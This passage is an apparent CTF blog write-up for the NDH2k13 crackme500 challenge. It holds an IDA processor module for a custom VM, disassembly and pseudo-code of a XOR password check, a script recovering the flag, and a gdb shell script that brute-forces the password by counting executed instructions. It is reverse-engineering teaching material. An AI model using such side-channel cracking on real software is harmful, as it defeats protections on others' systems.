class="n">type</span> <span class="o">=</span> <span class="n">o_imm</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">dtyp</span> <span class="o">=</span> <span class="n">dt_word</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">value</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_read_cmd_byte</span><span class="p">()</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">value</span> <span class="o">|=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_read_cmd_byte</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span> <span class="k">elif</span> <span class="n">optype</span> <span class="o">==</span> <span class="mh">0x6</span><span class="p">:</span> <span class="n">cmd</span><span class="o">.</span><span class="n">itype</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">inames</span><span class="p">[</span><span class="n">name</span> <span class="o">+</span> <span class="s">&quot;B&quot;</span><span class="p">]</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">type</span> <span class="o">=</span> <span class="n">o_phrase</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">dtyp</span> <span class="o">=</span> <span class="n">dt_word</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">reg</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_read_reg</span><span class="p">()</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">type</span> <span class="o">=</span> <span class="n">o_reg</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">dtyp</span> <span class="o">=</span> <span class="n">dt_word</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">reg</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_read_reg</span><span class="p">()</span> <span class="k">elif</span> <span class="n">optype</span> <span class="o">==</span> <span class="mh">0xA</span><span class="p">:</span> <span class="n">cmd</span><span class="o">.</span><span class="n">itype</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">inames</span><span class="p">[</span><span class="n">name</span><span class="p">]</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">type</span> <span class="o">=</span> <span class="n">o_phrase</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">dtyp</span> <span class="o">=</span> <span class="n">dt_word</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">reg</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_read_reg</span><span class="p">()</span> <span class="k">else</span><span class="p">:</span> <span class="k">raise</span> <span class="n">DecodingError</span><span class="p">()</span> <span class="k">def</span> <span class="nf">_ana_one_r</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">name</span><span class="p">):</span> <span class="n">cmd</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">cmd</span> <span class="n">cmd</span><span class="o">.</span><span class="n">itype</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">inames</span><span class="p">[</span><span class="n">name</span><span class="p">]</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">type</span> <span class="o">=</span> <span class="n">o_reg</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">dtyp</span> <span class="o">=</span> <span class="n">dt_word</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">reg</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_read_reg</span><span class="p">()</span> <span class="k">def</span> <span class="nf">_ana_two_r</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">name</span><span class="p">):</span> <span class="n">cmd</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">cmd</span> <span class="n">cmd</span><span class="o">.</span><span class="n">itype</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">inames</span><span class="p">[</span><span class="n">name</span><span class="p">]</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">type</span> <span class="o">=</span> <span class="n">o_reg</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">dtyp</span> <span class="o">=</span> <span class="n">dt_word</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">reg</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_read_reg</span><span class="p">()</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">type</span> <span class="o">=</span> <span class="n">o_reg</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">dtyp</span> <span class="o">=</span> <span class="n">dt_word</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">reg</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_read_reg</span><span class="p">()</span> <span class="k">def</span> <span class="nf">_ana_jmp</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">size</span><span class="o">=</span><span class="mi">16</span><span class="p">):</span> <span class="n">cmd</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">cmd</span> <span class="n">cmd</span><span class="o">.</span><span class="n">itype</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">inames</span><span class="p">[</span><span class="n">name</span><span class="p">]</span> <span class="n">addr</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_read_cmd_byte</span><span class="p">()</span> <span class="k">if</span> <span class="n">size</span> <span class="o">==</span> <span class="mi">16</span><span class="p">:</span> <span class="n">addr</span> <span class="o">|=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_read_cmd_byte</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span> <span class="k">if</span> <span class="p">(</span><span class="n">addr</span> <span class="o">&amp;</span> <span class="mh">0x8000</span><span class="p">):</span> <span class="n">addr</span> <span class="o">-=</span> <span class="mh">0x10000</span> <span class="k">else</span><span class="p">:</span> <span class="k">if</span> <span class="n">addr</span> <span class="o">&amp;</span> <span class="mh">0x80</span><span class="p">:</span> <span class="n">addr</span> <span class="o">-=</span> <span class="mh">0x100</span> <span class="n">addr</span> <span class="o">+=</span> <span class="n">cmd</span><span class="o">.</span><span class="n">ea</span> <span class="o">+</span> <span class="n">cmd</span><span class="o">.</span><span class="n">size</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">type</span> <span class="o">=</span> <span class="n">o_near</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">dtyp</span> <span class="o">=</span> <span class="n">dt_word</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">addr</span> <span class="o">=</span> <span class="n">addr</span> <span class="k">def</span> <span class="nf">_ana</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> <span class="n">cmd</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">cmd</span> <span class="n">opcode</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_read_cmd_byte</span><span class="p">()</span> <span class="k">if</span> <span class="n">opcode</span> <span class="o">==</span> <span class="mh">0x1F</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">_ana_ntypeinstr</span><span class="p">(</span><span class="s">&quot;PUSH&quot;</span><span class="p">,</span> <span class="n">valid</span><span class="o">=</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">))</span> <span class="k">elif</span> <span class="n">opcode</span> <span class="o">==</span> <span class="mh">0x0A</span><span class="p">:</span> <span class="n">cmd</span><span class="o">.</span><span class="n">itype</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">inames</span><span class="p">[</span><span class="s">&quot;JMPL&quot;</span><span class="p">]</span> <span class="bp">self</span><span class="o">.</span><span class="n">_ana_jmp</span><span class="p">(</span><span class="s">&quot;JMPL&quot;</span><span class="p">)</span> <span class="k">elif</span> <span class="n">opcode</span> <span class="o">==</span> <span class="mh">0x1C</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">_ana_ntypeinstr</span><span class="p">(</span><span class="s">&quot;MOV&quot;</span><span class="p">,</span> <span class="n">valid</span><span class="o">=</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="mi">9</span><span class="p">,</span> <span class="mi">10</span><span class="p">))</span> <span class="k">elif</span> <span class="n">opcode</span> <span class="o">==</span> <span class="mh">0x0C</span><span class="p">:</span> <span class="n">cmd</span><span class="o">.</span><span class="n">itype</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">inames</span><span class="p">[</span><span class="s">&quot;CALL&quot;</span><span class="p">]</span> <span class="n">flags</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_read_cmd_byte</span><span class="p">()</span> <span class="k">if</span> <span class="n">flags</span> <span class="o">==</span> <span class="mh">0x4</span><span class="p">:</span> <span class="n">addr</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_read_cmd_byte</span><span class="p">()</span> <span class="n">addr</span> <span class="o">|=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_read_cmd_byte</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span> <span class="k">if</span> <span class="p">(</span><span class="n">addr</span> <span class="o">&amp;</span> <span class="mh">0x8000</span><span class="p">):</span> <span class="n">addr</span> <span class="o">-=</span> <span class="mh">0x10000</span> <span class="n">addr</span> <span class="o">+=</span> <span class="n">cmd</span><span class="o">.</span><span class="n">ea</span> <span class="o">+</span> <span class="n">cmd</span><span class="o">.</span><span class="n">size</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">type</span> <span class="o">=</span> <span class="n">o_near</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">dtyp</span> <span class="o">=</span> <span class="n">dt_word</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">addr</span> <span class="o">=</span> <span class="n">addr</span> <span class="k">elif</span> <span class="n">flags</span> <span class="o">==</span> <span class="mh">0x3</span><span class="p">:</span> <span class="n">reg</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_read_reg</span><span class="p">()</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">type</span> <span class="o">=</span> <span class="n">o_reg</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">dtyp</span> <span class="o">=</span> <span class="n">dt_word</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">reg</span> <span class="o">=</span> <span class="n">reg</span> <span class="k">else</span><span class="p">:</span> <span class="k">raise</span> <span class="n">DecodingError</span><span class="p">()</span> <span class="k">elif</span> <span class="n">opcode</span> <span class="o">==</span> <span class="mh">0x30</span><span class="p">:</span> <span class="n">cmd</span><span class="o">.</span><span class="n">itype</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">inames</span><span class="p">[</span><span class="s">&quot;SYSCALL&quot;</span><span class="p">]</span> <span class="k">elif</span> <span class="n">opcode</span> <span class="o">==</span> <span class="mh">0x0B</span><span class="p">:</span> <span class="n">cmd</span><span class="o">.</span><span class="n">itype</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">inames</span><span class="p">[</span><span class="s">&quot;RET&quot;</span><span class="p">]</span> <span class="k">elif</span> <span class="n">opcode</span> <span class="o">==</span> <span class="mh">0x1A</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">_ana_ntypeinstr</span><span class="p">(</span><span class="s">&quot;SUB&quot;</span><span class="p">,</span> <span class="n">valid</span><span class="o">=</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">))</span> <span class="k">elif</span> <span class="n">opcode</span> <span class="o">==</span> <span class="mh">0x0D</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">_ana_ntypeinstr</span><span class="p">(</span><span class="s">&quot;CMP&quot;</span><span class="p">,</span> <span class="n">valid</span><span class="o">=</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">))</span> <span class="k">elif</span> <span class="n">opcode</span> <span class="o">==</span> <span class="mh">0x11</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">_ana_jmp</span><span class="p">(</span><span class="s">&quot;JZ&quot;</span><span class="p">)</span> <span class="k">elif</span> <span class="n">opcode</span> <span class="o">==</span> <span class="mh">0x09</span><span class="p">:</span> <span class="n">cmd</span><span class="o">.</span><span class="n">itype</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">inames</span><span class="p">[</span><span class="s">&quot;END&quot;</span><span class="p">]</span> <span class="k">elif</span> <span class="n">opcode</span> <span class="o">==</span> <span class="mh">0x1F</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">_ana_jmp</span><span class="p">(</span><span class="s">&quot;JMPS&quot;</span><span class="p">,</span> <span class="n">size</span><span class="o">=</span><span class="mi">8</span><span class="p">)</span> <span class="k">elif</span> <span class="n">opcode</span> <span class="o">==</span> <span class="mh">0x17</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">_ana_one_r</span><span class="p">(</span><span class="s">&quot;INC&quot;</span><span class="p">)</span> <span class="k">elif</span> <span class="n">opcode</span> <span class="o">==</span> <span class="mh">0x10</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">_ana_jmp</span><span class="p">(</span><span class="s">&quot;JNZ&quot;</span><span class="p">)</span> <span class="k">elif</span> <span class="n">opcode</span> <span class="o">==</span> <span class="mh">0x16</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">_ana_one_r</span><span class="p">(</span><span class="s">&quot;DEC&quot;</span><span class="p">)</span> <span class="k">elif</span> <span class="n">opcode</span> <span class="o">==</span> <span class="mh">0x13</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">_ana_ntypeinstr</span><span class="p">(</span><span class="s">&quot;XOR&quot;</span><span class="p">,</span> <span class="n">valid</span><span class="o">=</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">))</span> <span class="k">elif</span> <span class="n">opcode</span> <span class="o">==</span> <span class="mh">0x0E</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">_ana_two_r</span><span class="p">(</span><span class="s">&quot;TEST&quot;</span><span class="p">)</span> <span class="k">elif</span> <span class="n">opcode</span> <span class="o">==</span> <span class="mh">0x1D</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">_ana_one_r</span><span class="p">(</span><span class="s">&quot;POP&quot;</span><span class="p">)</span> <span class="k">elif</span> <span class="n">opcode</span> <span class="o">==</span> <span class="mh">0x07</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">_ana_jmp</span><span class="p">(</span><span class="s">&quot;JA&quot;</span><span class="p">)</span> <span class="k">elif</span> <span class="n">opcode</span> <span class="o">==</span> <span class="mh">0x0F</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">_ana_jmp</span><span class="p">(</span><span class="s">&quot;JMPS&quot;</span><span class="p">,</span> <span class="n">size</span><span class="o">=</span><span class="mi">8</span><span class="p">)</span> <span class="k">elif</span> <span class="n">opcode</span> <span class="o">==</span> <span class="mh">0x06</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">_ana_jmp</span><span class="p">(</span><span class="s">&quot;JB&quot;</span><span class="p">)</span> <span class="k">elif</span> <span class="n">opcode</span> <span class="o">==</span> <span class="mh">0x1B</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">_ana_ntypeinstr</span><span class="p">(</span><span class="s">&quot;ADD&quot;</span><span class="p">,</span> <span class="n">valid</span><span class="o">=</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">))</span> <span class="k">elif</span> <span class="n">opcode</span> <span class="o">==</span> <span class="mh">0x08</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">_ana_two_r</span><span class="p">(</span><span class="s">&quot;XCHG&quot;</span><span class="p">)</span> <span class="k">elif</span> <span class="n">opcode</span> <span class="o">==</span> <span class="mh">0x19</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">_ana_ntypeinstr</span><span class="p">(</span><span class="s">&quot;MUL&quot;</span><span class="p">,</span> <span class="n">valid</span><span class="o">=</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">))</span> <span class="k">else</span><span class="p">:</span> <span class="k">raise</span> <span class="n">DecodingError</span><span class="p">()</span> <span class="k">return</span> <span class="n">cmd</span><span class="o">.</span><span class="n">size</span> <span class="k">def</span> <span class="nf">ana</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> <span class="k">try</span><span class="p">:</span> <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">_ana</span><span class="p">()</span> <span class="k">except</span> <span class="n">DecodingError</span><span class="p">:</span> <span class="k">return</span> <span class="mi">0</span> <span class="k">def</span> <span class="nf">_emu_operand</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">op</span><span class="p">):</span> <span class="k">if</span> <span class="n">op</span><span class="o">.</span><span class="n">type</span> <span class="o">==</span> <span class="n">o_mem</span><span class="p">:</span> <span class="n">ua_dodata2</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">op</span><span class="o">.</span><span class="n">addr</span><span class="p">,</span> <span class="n">op</span><span class="o">.</span><span class="n">dtyp</span><span class="p">)</span> <span class="n">ua_add_dref</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">op</span><span class="o">.</span><span class="n">addr</span><span class="p">,</span> <span class="n">dr_R</span><span class="p">)</span> <span class="k">elif</span> <span class="n">op</span><span class="o">.</span><span class="n">type</span> <span class="o">==</span> <span class="n">o_near</span><span class="p">:</span> <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">cmd</span><span class="o">.</span><span class="n">get_canon_feature</span><span class="p">()</span> <span class="o">&amp;</span> <span class="n">CF_CALL</span><span class="p">:</span> <span class="n">fl</span> <span class="o">=</span> <span class="n">fl_CN</span> <span class="k">else</span><span class="p">:</span> <span class="n">fl</span> <span class="o">=</span> <span class="n">fl_JN</span> <span class="n">ua_add_cref</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">op</span><span class="o">.</span><span class="n">addr</span><span class="p">,</span> <span class="n">fl</span><span class="p">)</span> <span class="k">def</span> <span class="nf">emu</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> <span class="n">cmd</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">cmd</span> <span class="n">ft</span> <span class="o">=</span> <span class="n">cmd</span><span class="o">.</span><span class="n">get_canon_feature</span><span class="p">()</span> <span class="k">if</span> <span class="n">ft</span> <span class="o">&amp;</span> <span class="n">CF_USE1</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">_emu_operand</span><span class="p">(</span><span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="k">if</span> <span class="n">ft</span> <span class="o">&amp;</span> <span class="n">CF_USE2</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">_emu_operand</span><span class="p">(</span><span class="n">cmd</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="k">if</span> <span class="n">ft</span> <span class="o">&amp;</span> <span class="n">CF_USE3</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">_emu_operand</span><span class="p">(</span><span class="n">cmd</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span> <span class="k">if</span> <span class="ow">not</span> <span class="n">ft</span> <span class="o">&amp;</span> <span class="n">CF_STOP</span><span class="p">:</span> <span class="n">ua_add_cref</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">cmd</span><span class="o">.</span><span class="n">ea</span> <span class="o">+</span> <span class="n">cmd</span><span class="o">.</span><span class="n">size</span><span class="p">,</span> <span class="n">fl_F</span><span class="p">)</span> <span class="k">return</span> <span class="bp">True</span> <span class="k">def</span> <span class="nf">outop</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">op</span><span class="p">):</span> <span class="k">if</span> <span class="n">op</span><span class="o">.</span><span class="n">type</span> <span class="o">==</span> <span class="n">o_reg</span><span class="p">:</span> <span class="n">out_register</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">reg_names</span><span class="p">[</span><span class="n">op</span><span class="o">.</span><span class="n">reg</span><span class="p">])</span> <span class="k">elif</span> <span class="n">op</span><span class="o">.</span><span class="n">type</span> <span class="o">==</span> <span class="n">o_imm</span><span class="p">:</span> <span class="n">OutValue</span><span class="p">(</span><span class="n">op</span><span class="p">,</span> <span class="n">OOFW_IMM</span><span class="p">)</span> <span class="k">elif</span> <span class="n">op</span><span class="o">.</span><span class="n">type</span> <span class="ow">in</span> <span class="p">[</span><span class="n">o_near</span><span class="p">,</span> <span class="n">o_mem</span><span class="p">]:</span> <span class="n">ok</span> <span class="o">=</span> <span class="n">out_name_expr</span><span class="p">(</span><span class="n">op</span><span class="p">,</span> <span class="n">op</span><span class="o">.</span><span class="n">addr</span><span class="p">,</span> <span class="n">BADADDR</span><span class="p">)</span> <span class="k">if</span> <span class="ow">not</span> <span class="n">ok</span><span class="p">:</span> <span class="n">out_tagon</span><span class="p">(</span><span class="n">COLOR_ERROR</span><span class="p">)</span> <span class="n">OutLong</span><span class="p">(</span><span class="n">op</span><span class="o">.</span><span class="n">addr</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span> <span class="n">out_tagoff</span><span class="p">(</span><span class="n">COLOR_ERROR</span><span class="p">)</span> <span class="n">QueueMark</span><span class="p">(</span><span class="n">Q_noName</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">cmd</span><span class="o">.</span><span class="n">ea</span><span class="p">)</span> <span class="k">elif</span> <span class="n">op</span><span class="o">.</span><span class="n">type</span> <span class="o">==</span> <span class="n">o_phrase</span><span class="p">:</span> <span class="n">out_symbol</span><span class="p">(</span><span class="s">&#39;[&#39;</span><span class="p">)</span> <span class="n">out_register</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">reg_names</span><span class="p">[</span><span class="n">op</span><span class="o">.</span><span class="n">reg</span><span class="p">])</span> <span class="n">out_symbol</span><span class="p">(</span><span class="s">&#39;]&#39;</span><span class="p">)</span> <span class="k">else</span><span class="p">:</span> <span class="k">return</span> <span class="bp">False</span> <span class="k">return</span> <span class="bp">True</span> <span class="k">def</span> <span class="nf">out</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> <span class="n">cmd</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">cmd</span> <span class="n">ft</span> <span class="o">=</span> <span class="n">cmd</span><span class="o">.</span><span class="n">get_canon_feature</span><span class="p">()</span> <span class="n">buf</span> <span class="o">=</span> <span class="n">init_output_buffer</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span> <span class="n">OutMnem</span><span class="p">(</span><span class="mi">15</span><span class="p">)</span> <span class="k">if</span> <span class="n">ft</span> <span class="o">&amp;</span> <span class="n">CF_USE1</span><span class="p">:</span> <span class="n">out_one_operand</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="k">if</span> <span class="n">ft</span> <span class="o">&amp;</span> <span class="n">CF_USE2</span><span class="p">:</span> <span class="n">OutChar</span><span class="p">(</span><span class="s">&#39;,&#39;</span><span class="p">)</span> <span class="n">OutChar</span><span class="p">(</span><span class="s">&#39; &#39;</span><span class="p">)</span> <span class="n">out_one_operand</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="k">if</span> <span class="n">ft</span> <span class="o">&amp;</span> <span class="n">CF_USE3</span><span class="p">:</span> <span class="n">OutChar</span><span class="p">(</span><span class="s">&#39;,&#39;</span><span class="p">)</span> <span class="n">OutChar</span><span class="p">(</span><span class="s">&#39; &#39;</span><span class="p">)</span> <span class="n">out_one_operand</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span> <span class="n">term_output_buffer</span><span class="p">()</span> <span class="n">cvar</span><span class="o">.</span><span class="n">gl_comm</span> <span class="o">=</span> <span class="mi">1</span> <span class="n">MakeLine</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span> <span class="k">def</span> <span class="nf">PROCESSOR_ENTRY</span><span class="p">():</span> <span class="k">return</span> <span class="n">NDHProcessor</span><span class="p">()</span> </div></code></pre> <p>If you have trouble for dumping vm_opcode, you can find the dump <a href="/public/ndh2k13_vm.bin">here</a>.</p> <p>Load the vm into IDA, choose &quot;ndh2k13 VM CPU: ndh2k13&quot;, when IDA ask you for the memory organisation tell him :</p> <ul> <li>ROM START ADDRESS : 0x8000</li> <li>Loading address : 0x8000</li> </ul> <p>Now you can start reverse :)</p> <h2>Solution</h2> <p>We have got only 3 syscall for this version of the vm :</p> <ul> <li>R0 = 0x01 : exit</li> <li>R0 = 0x03 : read</li> <li>R0 = 0x04 : write</li> </ul> <p>The code of the vm start here :</p> <pre><code>ROM:8317 MOVW R0, aPassword ROM:831C CALL write_msg ROM:8320 SUBB SP, $20 ROM:8324 MOV R2, SP ROM:8328 MOVB R1, 0 ROM:832C MOVB R3, $1F ROM:8330 MOVB R0, $3 ROM:8334 SYSCALL ; SYSCALL READ ROM:8335 MOV R0, R2 ROM:8339 CALL check_password </code></pre> <p>And the pseudo - code of the function check_password is :</p> <pre><code>char *key = 0x8342; if (strlen(buf_password) == 9) // &quot;\n&quot; include if (buf_password[0] ^ key[0] == 'S') if (buf_password[1] ^ key[1] == '[') if (buf_password[2] ^ key[2] == 'K') if (buf_password[3] ^ key[3] == ')') ... etc ... print(&quot;GOOD PASSWORD\n&quot;) exit print(&quot;BAD PASSWORD\n&quot;) exit </code></pre> <p>And the good password is :</p> <pre><code>key = [0x12, 0x21, 0x02, 0x19, 0x25, 0x34, 0x29, 0x11] res = ['S', '[', 'K', ')', 'R', 'v', 'Z', 'I'] password = &quot;&quot; for i in xrange(0, 8): password += chr(ord(res[i]) ^ key[i]) print password </code></pre> <p>The flag was 'AzI0wBsX'.</p> <h2>Conclusion</h2> <p>I'm an idiot to reverse an entire vm and not figure out it was the same than last year, but during ctf you want to be the fatest and don't (always) think about old challenges.</p> <p>Another solution was to count the number of instructions executed by the vm, yeah because when you write crackme, I think you should compute hash, or something like that, because consecutive if statements is just lulz.</p> <p>Enjoy :</p> <pre><code>#! /bin/sh charset=&quot;a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z&quot; charset=&quot;$charset _ - ! $ % ^ \\&amp; \\* + = 0 1 2 3 4 5 6 7 8 9 &gt; &lt; ,&quot; cat &gt; gdbscript &lt;&lt;EOF set height 0 define countinstrs p &quot;instr&quot; c countinstrs end b *0x0000000000400C7F # call handler opcode run &lt; guess countinstrs countinstrs countinstrs countinstrs countinstrs countinstrs countinstrs countinstrs countinstrs EOF for c in $charset; do guess=&quot;$c&quot; echo -n &quot;$guess&quot; &gt; guess echo &quot;AAAAAAA&quot; &gt;&gt; guess echo -n &quot;trying key `cat guess`... &quot; gdb ./simple &lt; gdbscript 2&gt;&amp;1 \ | grep '^\$.*= &quot;instr&quot;$' \ | tail -1 \ | cut -d ' ' -f 1 \ | cut -c 2- done </code></pre> <p>First letter :</p> <pre><code>trying key zAAAAAAA... 245 trying key AAAAAAAA... 252 trying key BAAAAAAA... 245 </code></pre> <p>Edit script for replacing first letter by &quot;A&quot;</p> <pre><code>trying key AyAAAAAA... 252 trying key AzAAAAAA... 259 trying key AAAAAAAA... 252 </code></pre> <p>And do it for the 8 letters.</p> http://blog.w4kfu.compost/ndh2k13_crackme500 2013-03-11T13:56:35Z 2013-03-11T13:56:35Z CrunchTime w4kfu <h2>Introduction</h2> <p>Last weekend I participated in the <a href="http://ghostintheshellcode.com/">GitS 